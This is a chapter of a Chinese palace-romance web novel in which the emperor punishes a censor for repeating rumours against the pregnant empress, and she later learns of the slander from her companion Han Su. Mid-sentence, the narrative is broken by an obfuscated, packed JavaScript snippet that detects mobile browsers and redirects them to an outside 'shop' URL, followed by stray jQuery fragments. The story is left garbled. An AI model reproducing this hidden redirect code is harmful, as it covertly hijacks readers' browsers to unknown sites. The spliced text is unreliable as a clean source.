第497章 娘娘可信自己?

作品:《救命!系统逼本社恐做万人迷啊

    群臣各个眼睫毛中空,闻言顿时一片寂静,许多人低下头,眼观鼻,鼻观心,摆出了一副事不关己的态度,只有少数几人交换了意味深长的眼神。


    沈泽封缓缓抬起头,目光如冰冷的刀锋,落在杜衡身上:“杜御史所言内宫之事,所指为何,不妨直言。”


    杜衡感到那目光的压力,脊背微汗,但箭在弦上,不得不发,他深吸一口气,尽量让语气显得客观:“回陛下,流言荒诞,竟妄言中宫命格有碍国运,此番有孕恐引天灾兵祸,此等邪说,显系奸人捏造,意图不轨!然,陛下明鉴,流言虽假,其能传播,或与中宫近日理政,颇涉外朝事务有关,阴阳各有其序,内外自有分界,若后宫过于显于外朝,恐予小人以口实,借题发挥,扰乱视听,臣非敢妄议中宫,实为社稷稳固计,伏乞陛下圣裁,或可暂收皇后娘娘部分外务之权,待龙嗣诞育,流言自息,再行恢复,以示天家雍和,以安天下臣民之心。”


    他这番话,可谓绵里藏针,先痛斥流言,摆明立场,再将流言产生的原因,隐隐归结于皇后理政涉外,最后提出解决方案,逻辑看似通顺,且披着为社稷计的外衣。


    殿中落针可闻。


    谁都知道皇后是陛下的逆鳞,杜衡此举,无异于火中取栗,但同样,谁也都听出了那流言的恶毒,以及杜衡话语中隐含的。来自朝中某种势力的试探。


    沈泽封没有说话,只是慢慢将手中的舆图卷起,放在御案上,动作很轻,却让殿中气压骤降。


    他开口,声音平静得可怕:“你身为监察御史,闻听此等大逆不道诅咒国母,诋毁皇嗣的恶毒谣言,不思即刻追查源头,严惩造谣传谣者,以正视听,以安民心,反而在此处与朕讨论什么阴阳之序’?还将这无稽之谈的滋生,归咎于皇后为朕分忧,体恤民瘼之举?”


    他站起身,一步步走下御阶,玄色龙袍的下摆拂过光洁的金砖,虽无声却仿佛带着千钧重压,他在杜衡面前停下,居高临下地俯视着这位冷汗涔涔的御史。


    “朕告诉你,也同样跟满朝文武在说,”沈泽封的声音骤然提高,如同金石撞击一般,震得殿堂梁柱都在嗡嗡作响,“皇后方氏,温婉恭良,德行与天地同辉,于国家危难之际挺身而出,稳定朝纲清除奸佞,兴办教育,桩桩件件,莫不为国家社稷,为民生福祉,若按照你们所言阴阳之序,难道让有功于国,有德于民的皇后,困于深宫之中,对民间疾苦充耳不闻,对国家安危袖手旁观,此乃正道乎?!”


    他的目光如闪电般扫过那些噤若寒蝉的朝臣:“北境小丑,西域豺狼,其亡我之心不死,故意散布恶毒谣言,意在扰乱民心,试探我朝之反应!尔等受禄于君,不思为君解忧,为国御敌,反而在此鹦鹉学舌,随声附和,将敌对之**,化作攻击皇后,满足私欲之**,实在荒唐至极,可恶至极!”


    沈泽封气息起伏不定,显是愤怒至极,他猛地挥袖指向杜衡:“监察御史杜衡,散布谣言,自即日起革职查办,永不得入京为官!今后再有敢非议中宫,企图离间朕与皇后者,严惩不贷!”


    一声令下,杜衡面色惨白,身体软倒,被侍卫如同拖死狗一般拖出殿堂。


    沈泽封余怒未息,目光冰冷再次扫过群臣:“北境之事,朕自有主张,无需再议,至于那些阴暗角落的流言,朕自会查个水落石出!退朝!”


    沈泽封拂袖而去,留下满殿心思各异的朝臣,虽然他以雷霆之怒暂时压制了朝堂上的杂音,但每个人都明白,那来自北方的阴风,并未随着杜衡的倒台而完全消散。


    彼时,凤仪宫中的方如玥似乎也有所察觉,阵阵心悸让她忍不住抚住了胸口。


    朝堂上的雷霆震怒,如同宫中一道又一道的宫门,强行隔绝了外界的风雨。


    然而,深宫当中也并非绝对密不透风的堡垒,尤其是当这种时候,堵住了门它们就纷纷朝着别处去了。


    方如玥感到心悸之后就暗暗留神,她最初是从金嬷嬷欲言又止的忧色中察觉到了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137668|183622||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    异样,而后是偶然遇到宫人时那瞬间闪躲的眼神,以及空气中弥漫的那股比以往更加小心翼翼的沉寂,她敏锐地捕捉到了这些变化,心口那阵莫名的心悸,终于找到了源头。


    她没有直接问沈泽封,知道他连日忙碌,但每次来看她,都竭力将那份疲惫掩藏在温柔之后,她只是在一个沈泽封被紧急军务召走的午后,屏退了左右,只留韩素在侧。


    她倚在软枕上,手无意识地护着小腹,声音很轻:“韩夫人,外面是不是又有什么关于我的不好传言了?这次,说得特别难听?”


    韩素彼时正在为她调制安神的香膏,闻言动作顿了一下,她抬起眼,看着方如玥苍白却清亮的眸子,知道瞒不住了,这位娘娘,心思之敏锐,远超常人想象。


    沉默片刻,韩素放下手中的玉杵,走到榻边,没有直接回答,而是问:“娘娘可信陛下?”


    “自然信他。”方如玥毫不犹豫。


    “娘娘可信自己?”韩素又问。


    方如玥怔住了,信自己?


    她可以相信自己能设计出安全的玩具,相信自己能查清贪腐的账目,甚至相信自己能在韩素的陪伴下走出宫门,去看一眼市井烟火,可当那些恶意的目光言语如同潮水般涌来时,那份好不容易建立起来的,脆弱的自信,真的足以抵御吗?


    韩素的声音适时响起,仿佛要穿透她心头的迷雾:“这世间向来如此,欲加之罪,何患无辞?您做的每一件事,无论多么小心,多么有益,总会触动某些人的利益,刺伤某些人的眼睛,如今您身怀龙嗣,树欲静而风不止,但那些藏在暗处的魑魅魍魉,只会变本加厉,他们用的,永远是最下作最诛心的手段,因为除此之外,他们撼动不了陛下对您的信任,也否定不了您已经做成的实事。”


    “北境败军残部,勾结西域外敌,散播谣言,称您为天煞孤星,诅咒皇嗣为妖孽,妄言将引天灾战火齐至,朝中亦有朽木为应,以此为由,劝陛下收您理政之权。”